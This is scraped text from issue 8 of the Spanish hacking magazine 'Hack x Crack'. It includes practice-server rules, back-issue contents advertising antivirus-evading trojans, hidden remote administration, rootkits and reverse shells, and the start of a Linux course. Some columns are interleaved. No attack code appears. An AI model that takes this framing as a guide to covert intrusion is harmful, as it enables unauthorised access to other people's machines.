            con un Servidor tendremos que ir tirando (la economía no     mas te guste, no nos des tu DNI) en la unidad d: a ser
            da para mas).
                                                                         posible (que tiene mas espacio libre) y a partir de ahora
            - En el Servidor corre un Windows 2000 Advanced Server       utiliza ese directorio para hacer tus prácticas. Ya sabes,
            con el IIS de Servidor Web y está en la IP 80.36.230.235.    subirnos programitas y practicar con ellos :)

            - El Servidor tiene tres unidades:                           Puedes crearte tu directorio donde quieras, no es necesario
            * La unidad c: --> Con 2GB                                   que sea en d:mellamojuan. Tienes total libertad!!! Una
            * La unidad d: --> Con 35GB y Raíz del Sistema               idea     es     crearlo,        por     ejemplo,        en
            * La unidad e: --> CD-ROM                                    d:winntsystem32defaultmellamojuan (ya irás
                                                                         aprendiendo que cuanto mas oculto mejor :)
            Nota: Raíz del Servidor, significa que el Windows Advanced
            Server está instalado en esa unidad (la unidad d:) y         Es posiblemente la primera vez que tienes la oportunidad
            concretamente en el directorio por defecto winnt           de investigar en un servidor como este sin cometer un
            Por lo tanto, la raíz del sistema está en d:winnt          delito (nosotros te dejamos y por lo tanto nadie te
                                                                         perseguirá). Aprovecha la oportunidad!!! e investiga mientras
            - El IIS, Internet Information Server, es el Servidor de     dure esta iniciativa (que esperamos dure largos años)
            páginas Web y tiene su raíz en d:inetpub (el directorio
            por defecto)                                                 - En este momento tenemos mas de 600 carpetas de peña
                                                                         que, como tu, está practicando. Así que haznos caso y
            Nota: Para quien nunca ha tenido instalado el IIS, le será   crea tu propia carpeta donde trabajar.
            extraño tanto el nombre de esta carpeta (d:inetpub) cómo
            su contenido. Pero bueno, un día de estos os enseñaremos
            a instalar vuestro propio Servidor Web y detallaremos su
            funcionamiento.

            De momento, lo único que hay que saber es que cuando
            TÚ pongas nuestra IP (la IP de nuestro servidor) en tu
            navegador, lo que estás haciendo realmente es ir al               !               MUY IMPORTANTE...
            directorio d:Inetpubwwwroot y leer un archivo llamado
            default.htm.

            Nota: Como curiosidad, te diremos que APACHE es otro              MUY IMPORTANTE!!!!!                    Por favor, no borres archivos
            Servidor de páginas Web (seguro que has oído hablar de
            él). Si tuviésemos instalado el apache, cuando pusieses          del Servidor si no sabes exactamente lo que estás haciendo ni
            nuestra IP en TU navegador, accederías a un directorio           borres las carpetas de los demás usuarios. Si haces eso, lo único
            raíz del Apache (donde se hubiese instalado) e intentarías
            leer una página llamada index.html                               que consigues es que tengamos que reparar el sistema servidor
                                                                             y, mientras tanto, ni tu ni nadie puede disfrutar de él :(
            Explicamos esto porque la mayoría, seguro que piensa en
            un Servidor Web como en algo extraño que no saben ni             Es una tontería intentar “romper” el Servidor, lo hemos puesto
            donde está ni como se accede. Bueno, pues ya sabes               para que disfrute todo el mundo sin correr riesgos, para que todo
            dónde se encuentran la mayoría de IIS (en Inetpub) y
            cuál       es    la    página        por      defecto            el mundo pueda crearse su carpeta y practicar nuestros ejercicios.
            (Inetpubwwwrootdefault.htm). Y ahora, piensa un poco…
                                                                             En el Servidor no hay ni Warez, ni Programas, ni claves, ni nada
            … ¿Cuál es uno de los objetivos de un hacker que quiere
            decirle al mundo que ha hackeado una Web? Pues está              de nada que “robar”, es un servidor limpio para TI, por lo tanto
            claro, el objetivo es cambiar (o sustituir) el archivo
            default.html por uno propio donde diga “hola, soy DIOS           cuídalo un poquito y montaremos muchos más :)
            y he hackeado esta Web” (eso si es un lamer ;)




Página 66                                                                                                              PC PASO A PASO Nº 8
NÚMERO1:

                                                   -CREA TU PRIMER TROYANO
                                                   INDETECTABLE POR LOS ANTIVIRUS.
                                                   -FLASHFXP: SIN LÍMITE DE VELOCIDAD.
                                                   -FTP SIN SECRETOS: PASVMODE.
                                                   -PORT MODE/PASV MODE Y LOS
                                                   FIREWALL: LA UTILIDAD DE LO
                                                   APRENDIDO.
                                                   -TCP-IP:INICIACIÓN     (PARTE   1).
                                                   -EL MEJOR GRUPO DE SERVIDORES FTP
                                                   DE HABLA HISPANA.
                                                   -EDONKEY 2000 Y SPANISHARE.
                                                   -LA FLECHA ÁCIDA.




NÚMERO 2:

     -CODE/DECODE BUG: INTRODUCCIÓN.
     -CODE/DECODE BUG: LOCALIZACIÓN
     DEL OBJETIVO.
     -CODE/DECODE BUG: LÍNEA DE
     COMANDOS.
     -CODE/DECODE BUG: SUBIENDO
     ARCHIVOS AL SERVIDOR REMOTO.
     -OCULTACIÓN DE IP: PRIMEROS PASOS.
     -LA FLECHA ÁCIDA: LA SS DIGITAL.
     AZNAR AL FRENTE DE LA SS DEL SIGLO
     XXI.




                                             NÚMERO 3:

                                                    -PROXY: OCULTANDO NUESTRA
                                             IP.             ASUMIENDO CONCEPTOS.
                                                    -PROXY: OCULTANDO NUESTRA
                                             IP.             ENCADENANDO PROXIES.
                                                    -PROXY: OCULTANDO NUESTRA
                                             IP.             OCULTANDO        TODOS
                                             NUESTROS
                                             PROGRAMAS TRAS LAS CADENAS DE
                                                    PROXIES.
                                                    -EL SERVIDOR DE HACKXCRACK
                                                    CONFIGURACIÓN Y MODO DE EMPLEO.
                                                    -SALA DE PRACTICAS: EXPLICACIÓN.
                                                    -PRÁCTICA 1ª: SUBIENDO UN ARCHIVO
                                                    A NUESTRO SERVIDOR.
                                                    -PRÁCTICA 2ª: MONTANDO UN DUMP
                                                    CON EL SERV-U.
                                                    PRÁCTICA 3ª: CODE/DECODE BUG.
                                                    LÍNEA DE COMANDOS.




   NÚMERO 4:

         -CREA TU SEGUNDO TROYANO,
         INDETECTABLE E INMUNE A LOS
         ANTIVIRUS.
                 CONOCIENDO EL RADMIN.
                 GESTIONANDO UNA SALA
                 DE ORDENADORES.
                 OCULTANDO EL RADMIN.
                 INSTALANDO EL RADMIN
                 EN EQUIPOS REMOTOS.
         -OCULTACIÓN DE IP POR NOMBRE DE
         DOMINIO.
         -CREA LETRAS DE IMPACTO PARA TUS
         DOCUMENTOS (LETRAS DE FUEGO).
         - CONSIGUE UNA IP FIJA.
NÚMERO 5:

                                                      -HACK-OPINION: LA PIRATERÍA EN
                                               INTERNET.
                                                      -ROOTKITS: LA PESADILLA DE
                                               CUALQUIER       ADMINISTRADOR.
                                                      -ROOTKITS: EL SR. NTROOT.
                                                      -WAREZ: APPZ, GAMEZ, MP3Z, DIVX,
                                                      FTPZ, 0-DAY.
                                                      -APRENDIENDO A COMPILAR
                                                      PROGRAMAS. COMPILA TU PROPIO
                                                      NETCAT.
                                                      -BUGS, ERRORES Y OTRAS FORMA DE
                                                      JOD...
                                                      -NETBIOS: ESTUDIO Y PENETRACIÓN DE
                                                      SISTEMAS.
                                                      -ASESINADOS POR LA LSSI.
                                                      -LISTADO DE ORDENES PARA NETBIOS.
                                                      -HACK-OPINION: PAGOS POR INTERNET
                                                      SEGUROS YÁ.




NÚMERO 6:

- PASA TUS PELICULAS A DIVX (STREAMING)
- PASA TUS PELICULAS A DIVX II (CODEC DIVX)
- PUERTOS & SERVICIOS
- eMule: EL NUEVO REY DEL P2P
- NUEVA SECCION: PROGRAMACION DESDE 0
- CURSO DE VISUAL BASIC
-IPHXC: EL TERCER TROYANO DE HXC
- TENDENCIAS ACTUALES EN CODIGO MALICIOSO
- OCULTACION DE FICHEROS. METODO STREAM
(ads)
- TRASTEANDO CON EL HARDWARE DE UNA LAN




                                              NÚMERO 7:

                                              - PROTOCOLOS: POP3
                                              - PASA TUS PELICULAS A DIVX III (EL AUDIO)
                                              - PASA TUS PELICULAS A DIVX IV (MULTIPLEXADO)
                                              - CURSO DE VISUAL BASIC: LA CALCULADORA
                                              -IPHXC: EL TERCER TROYANO DE HXC II
                                              - APACHE: UN SERVIDOR WEB EN NUESTRO PC
                                              - CCPROXY: IV TROYANO DE PC PASO A PASO
                                              - TRASTEANDO CON EL HARDWARE DE UNA LAN

Más contenido relacionado

PDF
PARAGUAY: Sistema Nacional de Cualificaciones Profesionales
PDF
Catálogo de Iniciativas innovadoras en el sector turístico. Euskadi 2015
PDF
Monografía.Propuestas para incrementar el turismo en nuestro país
PDF
Programa de estudio 2011 / Guia para el maestro primaria segundo grado
PDF
Ejemplo de planeación argumentada educación física l.e.f. hugo enrique medina...
PDF
Haxcra8.pdf
PDF
Hxc9
PDF
Hxc7
PARAGUAY: Sistema Nacional de Cualificaciones Profesionales
Catálogo de Iniciativas innovadoras en el sector turístico. Euskadi 2015
Monografía.Propuestas para incrementar el turismo en nuestro país
Programa de estudio 2011 / Guia para el maestro primaria segundo grado
Ejemplo de planeación argumentada educación física l.e.f. hugo enrique medina...
Haxcra8.pdf
Hxc9
Hxc7

Similar a Hxc8 (19)

PDF
Hxc5
PDF
Haxcra5.pdf
PDF
Hxc4
PDF
Hxc17
PDF
Hxc22
PDF
Hxc21
PDF
Hxc23
PDF
Hxc16
PDF
Hxc10
PDF
Hxc19
PDF
Hxc14
PDF
Hxc18
PDF
Hxc20
PDF
Hxc15
PDF
Hxc3
PDF
Hxc2
PDF
Hxc13
PDF
Hxc12
PPTX
Haichl natalia cantor sanchez 4 y balentina
Hxc5
Haxcra5.pdf
Hxc4
Hxc17
Hxc22
Hxc21
Hxc23
Hxc16
Hxc10
Hxc19
Hxc14
Hxc18
Hxc20
Hxc15
Hxc3
Hxc2
Hxc13
Hxc12
Haichl natalia cantor sanchez 4 y balentina
Publicidad

Más de rubenroa (20)

PPTX
Estudios epidemiologicos
PPTX
Efectividad de la vacunacion Covid-19 en variante delta
PPTX
Causalidad
PPTX
Evaluacion de tecnologias sanitarias
PPT
Epidemiologia
PPT
Pediatrics 2008 jul 122(1) 143 8, figure-1
PPT
Introducción análisis farmacoepidemiológico sss&farma-taller15jun2011
PPTX
Maceira sss&farma-taller15jun2011
PPTX
Datos cohorte chilena sida (1)
PPT
Ferinject
PPTX
Kappos fingolimod moa-clin_results_vfinal_buenosaires1a
PPT
Uso Racional de Medicamentos
PPS
tabaquismo
PPT
Sesion ppt -2641_
PPT
Auditoria em
PPS
Indice tobillo brazo
PPS
indice tobillo brazo
PPTX
Epistemología y paradigmas
PPS
Vertigo acv
PPS
Apendicectomia
Estudios epidemiologicos
Efectividad de la vacunacion Covid-19 en variante delta
Causalidad
Evaluacion de tecnologias sanitarias
Epidemiologia
Pediatrics 2008 jul 122(1) 143 8, figure-1
Introducción análisis farmacoepidemiológico sss&farma-taller15jun2011
Maceira sss&farma-taller15jun2011
Datos cohorte chilena sida (1)
Ferinject
Kappos fingolimod moa-clin_results_vfinal_buenosaires1a
Uso Racional de Medicamentos
tabaquismo
Sesion ppt -2641_
Auditoria em
Indice tobillo brazo
indice tobillo brazo
Epistemología y paradigmas
Vertigo acv
Apendicectomia
Publicidad

Último (20)

PPTX
RAP02 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
PPTX
IA de Cine - Como MuleSoft y los Agentes estan redefiniendo la realidad
DOCX
Zarate Quispe Alex aldayir aplicaciones de internet .docx
PPTX
Presentación PASANTIAS AuditorioOO..pptx
PDF
programa-de-estudios-2011-guc3ada-para-el-maestro-secundarias-tecnicas-tecnol...
PDF
Liceo departamental MICRO BIT (1) 2.pdfbbbnn
PPTX
ANCASH-CRITERIOS DE EVALUACIÓN-FORMA-10-10 (2).pptx
PPTX
sa-cs-82-powerpoint-hardware-y-software_ver_4.pptx
PDF
5.1 Pinch y Bijker en libro Actos, actores y artefactos de Bunch Thomas (coor...
PDF
Plantilla para Diseño de Narrativas Transmedia.pdf
PPT
Que son las redes de computadores y sus partes
PDF
SAP Transportation Management para LSP, TM140 Col18
PDF
MÓDULO DE CALOR DE GRADO DE MEDIO DE FORMACIÓN PROFESIONAL
PDF
Diapositiva proyecto de vida, materia catedra
PDF
Maste clas de estructura metálica y arquitectura
PPTX
REDES INFORMATICAS REDES INFORMATICAS.pptx
PPTX
RAP01 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
PPTX
Acronis Cyber Protect Cloud para Ciber Proteccion y Ciber Seguridad LATAM - A...
PPTX
Presentación de Redes de Datos modelo osi
PDF
taller de informática - LEY DE OHM
RAP02 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
IA de Cine - Como MuleSoft y los Agentes estan redefiniendo la realidad
Zarate Quispe Alex aldayir aplicaciones de internet .docx
Presentación PASANTIAS AuditorioOO..pptx
programa-de-estudios-2011-guc3ada-para-el-maestro-secundarias-tecnicas-tecnol...
Liceo departamental MICRO BIT (1) 2.pdfbbbnn
ANCASH-CRITERIOS DE EVALUACIÓN-FORMA-10-10 (2).pptx
sa-cs-82-powerpoint-hardware-y-software_ver_4.pptx
5.1 Pinch y Bijker en libro Actos, actores y artefactos de Bunch Thomas (coor...
Plantilla para Diseño de Narrativas Transmedia.pdf
Que son las redes de computadores y sus partes
SAP Transportation Management para LSP, TM140 Col18
MÓDULO DE CALOR DE GRADO DE MEDIO DE FORMACIÓN PROFESIONAL
Diapositiva proyecto de vida, materia catedra
Maste clas de estructura metálica y arquitectura
REDES INFORMATICAS REDES INFORMATICAS.pptx
RAP01 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
Acronis Cyber Protect Cloud para Ciber Proteccion y Ciber Seguridad LATAM - A...
Presentación de Redes de Datos modelo osi
taller de informática - LEY DE OHM

Hxc8

  • 1. HACK X CRACK: EMPEZANDO A ESQUIVAR LOS CORTAFUEGOS P A S NETCAT PERL O “PIPES” P A S Oa a a a a a a aa a a a a a APACHE: Configuración HACK X CRACK - HACK X CRACK - HACK X CRACK Comparte ficheros desde tu propio Servidor Web “JUGANDO” de nuevo con el NETCAT SERIE RAW PROTOCOLOS FONTANERÍA INFORMÁTICA : TEMPLO de conocimiento “ENCADENANDO PROGRAMAS” VISUAL BASIC: Penetración Inversa “ A R R AY D E CONTROLES” en PCs Remotos “VECTORES” “OCX “ SMTP: Descubre los Nº 8 -- P.V.P. 4,5 EUROS protocolos de Internet 00008 8 414090 202756 Si no entiendes ni una palabra de esta portada, has llegado a LA REVISTA DE INFORMÁTICA QUE ESTABAS ESPERANDO!!! PC PASO A PASO: UN MODO DISTINTO DE ESTUDIAR INFORMÁTICA
  • 2. PC P P A A LOS CUADERNOS DE S S HACK O O CRACK P A S O aa P A S Oaa www.hackxcrack.com a a a a a a aa a a a a a a a aa a a a a EDITORIAL: EDITOTRANS S.L. Director de la Publicación C.I.F: B43675701 J. Sentís E-mail Director Editorial director@hackxcrack.com I. SENTIS Diseño gráfico: E-mail contacto J. M. Velasco director@editotrans.com Contacto diseñador gráfico Título de la publicación grafico@hackxcrack.com Los Cuadernos de HACK X CRACK. Redactores Nombre Comercial de la publicacíón AZIMUT, ROTEADO, FASTIC, MORDEA, FAUSTO, PC PASO A PASO ENTROPIC, MEIDOR, HASHIMUIRA, BACKBONE, ZORTEMIUS, AK22, DORKAN, KMORK, MAILA, Web TITINA, SIMPSIM... ... ... ... ... www.hackxcrack.com Contacto redactores Deposito legal: B.26805-2002 redactores@hackxcrack.com Código EAN: 8414090202756 Código ISSN: En proceso Colaboradores Mas de 130 personas: de España, de Brasil, de Argentina, de Francia, de Alemania de Japón y algún Estadounidense. Contacto colaboradores colaboradores@hackxcrack.com Imprime I.G. PRINTONE S.A. Tel 91 808 50 15 Distribución Coedis S.L. Avda. de Barcelona 225. Molins de Rei. Barcelona. Tel 93 680 03 60 FAX 93 668 82 59 WEB: www.coedis.com (mapa de distribución en la web) © Copyright Editotrans S.L. NUMERO 8 -- PRINTED IN SPAIN PERIOCIDAD MENSUAL
  • 3. DECLARACION DE INTENCIONES PARA "LOS OTROS": 1.- La intención de la presente publicación NO ES fomentar la piratería curiosidad deberéis ponerla VOSOTROS, porque los medios los facilitaremos informática ni la “delincuencia” en la Red. NOSOTROS. En las siguientes líneas os descubrimos cómo podremos 2.- Cualquier texto publicado es VALIDADO por nuestra Asesoría Jurídica, conseguir nuestros objetivos y definimos algunas de las palabras que más por lo que advertimos a cualquier persona, empresa u organización de la han sido violadas y retorcidas en su significado. inutilidad de cualquier iniciativa jurídica en nuestra contra. Aun así, en caso de cualquier iniciativa en contra de esta revista, deberá ser debidamente Hacker: Este término ha sufrido a lo largo de su corta historia una horrible presentada y resuelta en la Razón Social que figura en nuestros documentos conspiración perpetrada por la ignorancia de los medios, eso que de constitución. personalmente llamo "periodismo de telediario" (en clara alusión a los 3.- Esta publicación no se hace responsable del mal uso de los conocimientos ridículos artículos que no hacen mas que intoxicar nuestra percepción de que se exponen. las cosas e insultar nuestra inteligencia). Ese tipo de periodismo unido a 4.- Esta publicación NO FACILITARÁ los datos de nuestros colaboradores "otros poderes", desde los monopolios que deben justificar su incompetencia ni el origen de nuestros conocimientos salvo ORDEN JUDICIAL y, aun así, hasta los gobiernos que deben justificar sus intereses ocultos pasando por advertimos que algunos de esos colaboradores NO SON CONOCIDOS mas la industria del cine (normalmente demonológica) y los medios informativos que por sus NICKS (alias). Por ello, correrá a cargo de los organismos "de masas". pertinentes su “descubrimiento”. 5.- Esta publicación NO SE HACE RESPONSABLE ni tienen por qué COMPARTIR Pues bien, HACKER no es mas que una persona que posee conocimientos las opiniones personales vertidas por sus colaboradores, por lo que NO avanzados sobre una materia en concreto, normalmente relacionados con SOMOS RESPONSABLES de las mismas. la tecnología aunque ni mucho menos limitado a ello. Ponen sus aptitudes 6.- Cualquier texto publicado estará bajo las protecciones de DERECHOS al servicio de un único objetivo: EL CONOCIMIENTO. Desean conocer el DE AUTOR y no se permite su copia, publicación, modificación o distribución funcionamiento de "las cosas" y no encuentran límites en sus camino mas sin antes obtener el permiso de esta editorial. De este punto quedan exentos que su propia curiosidad. No se dedican a destruir ni a causar estragos aquellos textos que han sido obtenidos de terceros y/o que están sujetos entre sus "victimas", no se dedican a robar ni a chantajear ni a regodearse a otras licencias (ya sean por parte de su autor o por terceros). de sus "conquistas", muy al contrario suelen advertir a terceros de las 7.- Si desean ponerse en contacto con nuestro departamento jurídico, debilidades de sus sistemas y, desgraciadamente, esos "terceros" en lugar rogamos enviar mail a juridico@hackxcrack.com de agradecerles su aviso se dedican a denunciarlos o perseguirlos… aunque no siempre es así, por supuesto, muchas compañías y gobiernos han PARA NUESTROS LECTORES: aprendido lo valiosos que son los HACKERS y ahora algunos son colaboradores (o empleados) de estos. BILL GATES es un HACKER (el papá ventanas), Como podréis ver, esta no es una revista mas, por primera vez tenéis ante como Linus Torvalds (el papá Linux) o Grace Hooper (la Almirante, vosotros una publicación LIBRE que os ofrecerá la posibilidad de explorar creadora del Lenguaje COBOL), los autores del COREWAR Robert Thomas la red tal y como debe explorarse ;) Morris, Douglas McIlroy y Victor Vysottsky (precursores de los creadores de virus informáticos), Fred Cohen (el primer investigador y Esta publicación responde a la pregunta mas veces expuesta en LA RED: autor de los virus de la historia), Dennis Ritchie y Ken Thompson ¿Como puedo ser un hacker? Bien, ahora seguro que muchos ya se están ("hacedores" del Lenguaje C y co-creadores del SO UNIX), Gary Kildall "sonriendo" y pensando lo ilusos que somos al intentar "eregirnos" en (autor del sistema operativo CMP y CPM/86), Tim Paterson (autor del "portadores de LA LUZ", pensando que seremos una "escuela de lamers" Quick & Dirty DOS), Morris (autor de "The tour of the Worm"), Kevin y similares a otras publicaciones que, entre sus 100 páginas de revista solo Mitnick (el más buscado por el FBI), Phiber Optik (líder juvenil convertido contiene 5 de "material utilizable" (si es que puede llamarse así). en símbolo de los hackers), Richard Stallman (impulsor del "software libre" y GNU), Johan Helsingius (primer conductor de un Remailer Pues NO, lo siento, vosotros seréis nuestros jueces y, llegado el caso, Anónimo), Chen Ing-Hou (autor del virus CIH -Chernobyl- ), Sir Dyistic NUESTROS VERDUGOS. (creadorutor del Back Orifice), David L. Smith (virus Melissa), Reonel Ramonez (virus LoveLetter), Vladimir Levin (Robó electrónicamente Nuestro objetivo es: ACABAR CON LA BASURA DE LA RED (lamers y demás 10 millones de dólares al Citibank), y muchos mas. ¿Cómo? ¿Pero no hemos "esencias") con el único método que conocemos: LA EDUCACIÓN y con un dicho que los hackers no comenten delitos? Pues NO, vuelve a leer su única bandera que será por siempre nuestra firma: SOLO EL CONOCIMIENTO definición… pero claro, de todo hay en la viña del señor, y al igual que hay TE HACE LIBRE LIBRE. delincuentes entre el clero hay hackers que en un momento u otro han ·caido· en la ilegalidad, nadie es perfecto!!!!! … y Bill Gates es un HACKER? Estos son nuestros pilares: LA EDUCACIÓN Y EL CONOCIMIENTO Para ser CONOCIMIENTO. Por supuesto, solo tienes que leerte su biografía. ¿Sorprendido? Espero un HACKER (maldita palabra mal entendida por unos y peor utilizada por que no, porque eso no es nada mas que un cero a la izquierda en comparación otros) solo hace falta dos cosas: curiosidad y medios, a partir de ahora la con lo que vas a encontrar en esta revista. PC PASO A PASO Nº 8 Página 3
  • 4. EDITORIAL el director sustituto (segunda parte): “asumiendo riesgos” Por segunda y última vez, vuestro “esclavo” AZIMUT ha tenido que sustituir a nuestro director en la difícil tarea de sacar adelante un número más de PC PASO A PASO (Hack x Crack). INDICE En este número he tenido que tomar decisiones cuyas consecuencias (buenas o malas) tendré que sufrir en EL FORO de -www.hackxcrack.com- Ya sabes que los lectores (y colaboradores) nos reunimos allí para exponer nuestras impresiones y compartir conocimientos, pues bien, allí me tendréis para ser crucificado y dar explicaciones respecto a este número de PC PASO A PASO. El contenido del presente número 8 no es, ni de lejos, lo que 3 DECLARACION DE INTENCIONES tenía pensado publicar en un principio. Decidí dejar los troyanos en casita y apostar por EL CONOCIMIENTO. Esta 4 EDITORIAL vez nuestros lectores, TÚ, tendrás que trabajártelo bastante si quieres seguir avanzando. 5 CURSO DE LINUX - ¿Cómo? ¿Qué? ¿Este mes no tengo un troyano con el que juguetear? 17 APACHE: COMPARTE ARCHIVOS Sí, lo tienes, pero tendrás que empezar a tomarte las cosas en serio: EL PARVULARIO SE HA ACABADO!!!, lo siento, 26 SUSCRIPCIONES todos sabíamos que este día llegaría y YA HA LLEGADO ;) 26 REVERSE SHELL Este mes te toca instalar LINUX instalar el NETCAT para LINUX, Linux, compilar en PERL y conocer las “pipes” si quieres disfrutar de la ración mensual de troyano. Por si te parece 43 GANADOR DEL CONCURSO SUSE LINUX poco, para colmo, aprenderemos “cositas interesantes” sobre el protocolo SMTP seguiremos con nuestro curso de Visual SMTP, Basic estudiando unas cosas muy raras llamadas “arrays” “arrays”, 44 CURSO DE VISUAL BASIC: MAS CALCULADORA “vectores” y “controles OCX” ;p y, para rematarlo seguiremos configurando nuestro propio Servidor Web basado en APACHE 51 CONCURSO DE SUSE LINUX 8.1 y dándole caña al TELNET TELNET. No, no te dejaremos solo ante tan titánico trabajo, estaremos 52 PROTOCOLOS Y SU SEGURIDAD: SMTP contigo a cada paso y recuerda algo MUY IMPORTANTE: En el foro de nuestra Web puedes compartir tus dudas. Nos 65 BAJATE LOS LOGOS DE PC PASO A PASO (HXC) llegan muchos mails preguntando por los temas explicados en la revista, pero EL FORO es donde mejor y más rápido serán respondidas 65 COLABORA CON NOSOTROS Solo me queda dar las gracias a todos los colaboradores y 66 SERVIDOR DE HXC. MODO DE EMPLEO encomendar mi alma “los dioses” para que PC PASO A PASO 8 sea de TU agrado :) 67 NUMEROS ATRASADOS Un abrazo muy fuerte, atentamente... -- AZIMUT, el que durante dos meses ha tenido el placer de ser tu servidor y “esclavo” -- “... porque sólo el poder del conocimiento nos hace libres. “ Página 4 PC PASO A PASO Nº 8
  • 5. GNU/LiNUX - Presentación y Significado: Software Libre NO ES Software Gratis ;) - Distribuciones y links de descarga - NETCAT en Linux: Descarga, compilación y ejecución - Compilando en Perl desde Linux - "PIPES" en Linux 1 - Presentación este S.O. en nuestro ordenador y en el futuro iremos profundizando en las muchas facetas Algunas personas que son verdaderos hackers que lo definen (instalación, administración, suelen decir que GNU/LiNUX es el mejor S.O. programación, seguridad, etc...). para programar. En la presente serie de artículos intentaremos demostrar que esta no es una En concreto este mes nos centraremos, con el afirmación gratuita. fin de seguir cierta coherencia con el resto de los artículos del presente número, en tres Tal vez una de las ventajas más obvias sea puntos: que podemos mirar en sus entrañas, modificar todo lo modificable y tener acceso de primera - Pipes: Como confrontación del uso de una mano a todo aquello que se esconde tanto utilidad en dos SS.OO. distintos. De esta manera bajo como sobre un S.O. Sin acceder a oscuros podremos ir acostumbrándonos al way of life trucos ni características no documentadas. Sin de los sistemas UNiX. tener que andar mendigando números de serie - Perl: Como ejemplo de cómo se utiliza un o cracks. Todo lo tendremos ahí, disponible lenguaje de scripting para que tomemos lo que queramos. Y, por - Netcat: Como ejemplo de cómo obtener el una vez, tendremos a la ley de nuestro lado. código fuente de una aplicación y como a partir Este será el objetivo principal de este artículo. de este generamos el ejecutable. ¿Cuál será el precio de tanta maravilla? Trabajo. Y todo ello tras una extensa presentación de Mucho trabajo. En este mundo en el que mucha GNU/LiNUX. gente ha trabajado antes desinteresadamente generando información, tecleando líneas de 2- ¿Qué es GNU/LiNUX? código que luego ponen a tu disposición, etc... Sólo se pide una cosa: Que también se trabaje Normalmente una forma de definir LiNUX es leyendo esa documentación y ese código. como la de " Sistema Operativo tipo UNiX libre". Si no eres de esta opinión, tal vez el mundo A estas alturas la mayoría de la gente recién de GNU/LiNUX en particular y del Software Libre llegada al mundo de GNU/LiNUX se preguntará en general no sea el más adecuado para ti y si eso de GNU/LiNUX es "otra cosa" parecida tarde o temprano te desilusionarás. a eso de lo que han oído hablar mucho últimamente y que la gente llama LiNUX "a Por ahora realizaremos una presentación general secas". Pues bien, no, no es "otra cosa"; de lo que es GNU/LiNUX. Veremos cuales son Estamos hablando de lo mismo. Pero para los pasos, independientemente de la entender el porqué, conviene referirnos a este distribución, que se deben seguir para instalar S.O. como GNU/LiNUX y no LiNUX, tenemos PC PASO A PASO Nº 8 Página 5
  • 6. GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU que saber primero qué significa LiNUX y qué operativo UNiX-like , es decir, similar a los significa GNU. sistemas UNiX de la época, denominado HURD ('Hird of Unix-Replacing Daemons' donde HIRD LiNUX, inicialmente, es el fruto de un trabajo significa 'Hurd of Interfaces Representing Depth'), de programación de un chico llamado Linus con la particularidad de que sería desarrollado Torvalds que allá por 1991 mientras estaba bajo los términos de Free Software (Aplicaciones en la universidad de Helsinki pasando frío (digo Informáticas Libres). Una vez más, a pesar de yo) y aprovechando la coyuntura de obtener lo interesante del tema, debemos de ceñirnos su primer i386, decidió realizar su "versión a una mera presentación. Si queréis ahondar mejorada" del S.O. que él manejaba más en los términos GNU y Free Software os habitualmente: MiNiX. De esta manera obtuvo recomiendo una visita a http://www.es.gnu.org lo que se denomina un kernel o núcleo de S.O. donde encontraréis la información necesaria. que es el corazón de todo S.O.. Desde la primera versión operativa de este kernel se Lo que sí es muy interesante es que a pesar unieron a Linus Torvalds una gran cantidad de de los intentos de realizar un UNiX libre por gente que ofreció mejoras e incrementó la parte de GNU desde 1984, en 1991 se funcionalidad de dicho núcleo. Desde entonces, encuentran todavía en pleno diseño de su el desarrollo del kernel de GNU/LiNUX es un sistema HURD. Por lo demás en estas fechas trabajo realizado por muchísimas personas en GNU ha desarrollado ya una grandísima cantidad todo el mundo y supervisado por Linus. de aplicaciones libres disponibles en código fuente y que están disponibles en Internet. MiNiX era una herramienta didáctica que Por otra parte LiNUX es tan sólo un núcleo de acompañaba al libro "Modern Operating Systems" S.O. huérfano que sí ha logrado utilizar muchas del eminente profesor Adrew Tanenbaum. MiNiX de las aplicaciones GNU. Tras decidir Linus que era a su vez un S.O. basado en los sistemas el código del núcleo de su S.O. también se UNiX en los que el autor trabajó como distribuiría bajo los términos de la licencia GNU, desarrollador. era una cuestión de conveniencia el surgimiento El desarrollo de LiNUX planteó un debate en de una plataforma mixta cuyo corazón fuera ocasiones agrio entre la comunidad MiNiX el núcleo LiNUX, pero que el resto fuera fruto participando en esta "contienda" tanto Linus del trabajo de GNU. Torvalds como A. Tanenbaum. A pesar de ser una historia apasionante, tendremos que dejarla Es por esto que cuando hablamos de un S.O. aparcada por ahora. Está ampliamente difundida LiNUX, estamos refiriéndonos a un sistema por Internet la copia del grupo de noticias GNU/LiNUX. donde se desarrolló este debate (comp.os.minix ) pero os recomiendo esta 3 - ¿ Cómo puedo conseguir página donde se realiza un análisis detallado GNU/LiNUX? de la postura de ambos bandos: http://www.cab.u-szeged.hu/local/linux/linux- Pues de diversas maneras. Antes he mencionado obsolote.html (No os asustéis por el húngaro, que GNU/LiNUX es Software Libre. Esto no tan sólo se utiliza en el primer párrafo). quiere decir que sea gratuito, como dicen en algunos sitios ( :oP ) sino que si tú obtienes El proyecto GNU (acrónimo recursivo que una copia, puedes realizar tantas copias como corresponde a "GNU is Not UNiX") nace en quieras, y puedes hacer con estas copias lo 1984 capitaneado por Richard M. Stallman que desees: Regalarlas, venderlas, modificarlas, con la finalidad de desarrollar un sistema etc.... Sólo has de cumplir un requisito: Dejar Página 6 PC PASO A PASO Nº 8
  • 7. GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU bien claro al que se lo des, vendas, etc.... que La que desees. Seguramente ya tienes alguna puede hacer lo mismo que has hecho tú y que referencia. Personalmente te aconsejo que si si te piden el código fuente deberás de quieres algo "a lo XP" o "a lo Mac" escojas facilitárselo. entre Mandrake, Red Hat, SuSE..... Son distribuciones planteadas hacia un usuario Esta manera de hacer las cosas es la que ha doméstico al que le importa muy poco cómo propiciado el que surja el concepto de están colocados los desagües de su ciudad; distribución. Una distribución o distro de tan solo le interesa que no se le atasque la GNU/LiNUX se da cuando una persona, grupo fontanería doméstica. de personas o empresas, deciden crear un Si por el contrario estás más familiarizado con sistema GNU/LiNUX y distribuirlo, ya sea los sistemas UNiX y no deseas gastarte una comercialmente o no. Como a cada hijo de pasta en una licencia de Solaris (tm) a la hora madre nos gustan las cosas a nuestra manera, de tener un entorno UNiX doméstico, puedes es lógico que si te 